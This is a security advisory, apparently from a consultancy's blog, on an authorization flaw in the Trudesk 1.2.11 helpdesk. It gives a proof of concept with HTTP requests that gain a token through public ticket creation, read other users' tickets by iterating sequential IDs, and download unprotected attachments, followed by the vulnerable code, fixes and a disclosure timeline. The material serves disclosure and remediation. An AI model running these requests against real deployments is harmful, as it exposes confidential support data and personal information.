Trudesk 1.2.11 Unauthorized Ticket Access IDOR

When Your Support Tickets Are Everyone’s Business

Trudesk is a popular open-source helpdesk system designed to streamline support, with over 1500 stars on GitHub. However, in the latest version 1.2.11 (commit 29f3f169), a lack of rigorous authorization checks allows any user to view any ticket and its attachments. This isn’t just a minor leak; it’s a full-scale data exposure path that can be exploited by anyone with a web browser.

The Attack Path

The exploitation of these vulnerabilities is highly effective when public ticket submission is enabled. An attacker can move from an unauthenticated visitor to a data-scraping threat in seconds:

• Step 1: The attacker self-registers by submitting a public ticket through the /api/v1/public/tickets/create endpoint.
• Step 2: The server responds with a JSON object containing a valid accessToken for the newly created user.
• Step 3: Using this token, the attacker calls the private ticket API.
• Step 4: Because ticket UIDs are sequential and numeric, the attacker iterates through IDs to read every ticket in the database.
• Step 5: Once a ticket is accessed, any inline images or files referenced in the issue body can be downloaded directly from the server without further authorization.

Lab Setup

Our research was conducted using a vanilla installation to ensure the vulnerabilities were present in a default configuration. The environment was defined as follows:

Component	Details
Product Version	Trudesk 1.2.11 (commit 29f3f169)
Deployment	Built from source using docker-compose.local.yml
Environment	Node 16.14-alpine / MongoDB 5.0-focal
Testing Date	May 4, 2026
Configuration	No changes beyond completing the initial setup wizard and enabling public ticket access, as shown below

Proof of Concept

1. Acquiring an Access Token

The attacker first creates a ticket to gain a valid session. The response includes the user’s accessToken.

Request:

HTTP

POST /api/v1/public/tickets/create HTTP/1.1
Content-Type: application/json

{
  "captcha": "WDQT",
  "user": { "fullname": "Attacker", "email": "[email protected]" },
  "ticket": { "subject": "Initial Access", "issue": "Exploit Prep" }
}

Response Snippet:

JSON

{
  "success": true,
  "userData": {
    "savedUser": {
      "accessToken": "315de664db96c597c1f5fcd4033e7e481fa68e9c"
    }
  }
}

2. Exploiting the IDOR (F1)

With the token, the attacker requests a ticket they do not own (UID 1001). The system returns the full ticket object because it only performs a basic authentication check rather than a specific authorization check.

Request:

HTTP

GET /api/v1/tickets/1001 HTTP/1.1
accesstoken: 315de664db96c597c1f5fcd4033e7e481fa68e9c

Response Snippet:

JSON

{
  "success": true,
  "ticket": {
    "uid": 1001,
    "subject": "Confidential Project Data",
    "issue": "<img src=\"/uploads/tickets/uploads/inline_ad9e9f97ba0e1af4d3f0.png\">"
  }
}

3. Unauthorized Attachment Access (F2)

Finally, the attacker retrieves the attachment path from the ticket body. Files are served as static assets, meaning the system does not check if the requesting user has permission to see the ticket the file belongs to.

Request:

HTTP

GET /uploads/tickets/uploads/inline_ad9e9f97ba0e1af4d3f0.png HTTP/1.1
accesstoken: 315de664db96c597c1f5fcd4033e7e481fa68e9c

Result: The server returns the binary file data with an HTTP 200 OK status.

The Core Issue: Sequential UIDs and Missing Authorization

The first vulnerability, identified as F1, is a classic Insecure Direct Object Reference (IDOR). The API endpoint GET /api/v1/tickets/:uid is responsible for fetching ticket details. While it checks if a user is authenticated, it fails to check if that user actually has permission to view the specific ticket requested.

The Vulnerable Code

In src/controllers/api/v1/tickets.js, the logic focuses on data reduction rather than authorization:

JavaScript

ticket = _.clone(ticket._doc)
if (!permissions.canThis(req.user.role, 'tickets:notes')) {
  delete ticket.notes // Only hides notes, doesn't block the ticket access
}
return res.json({ success: true, ticket: ticket })

The application correctly strips internal “notes” for non-agent roles, but it still serves the rest of the ticket object to anyone with a valid accessToken. Because Trudesk uses sequential numeric UIDs (e.g., 1001, 1002), an attacker can simply iterate through numbers to scrape the entire database.

Impact and Remediation

This chain allows for the total loss of confidentiality for all support data in the system. For organizations handling sensitive PII or internal infrastructure details via support tickets, this is a critical risk.

How to Fix It

1. Implement Ownership Checks

The apiTickets.single controller must be updated to verify that the req.user is either the owner of the ticket, a member of the ticket’s group, or holds an administrative role. If none of these conditions are met, the server should return a 403 Forbidden status.

2. Protect Static Assets

Ticket attachments should never be served as static files. Instead, they should be served through a dedicated API endpoint that performs the same authorization checks as the ticket itself.

---

Vulnerability Summary Table

Finding	Severity	CWE	CVSS v3.1
F1: IDOR in Ticket Content	High	CWE-639	7.5
F2: Unprotected Attachments	Medium	CWE-284	5.9

Responsible Disclosure

5/4/2026 – A GitHub issue was created alerting the maintainers of the repository about the issue.

9/30/2026: CVE requested from MITRE

If you’d like us to evaluate your company’s security, reach out via our contact page.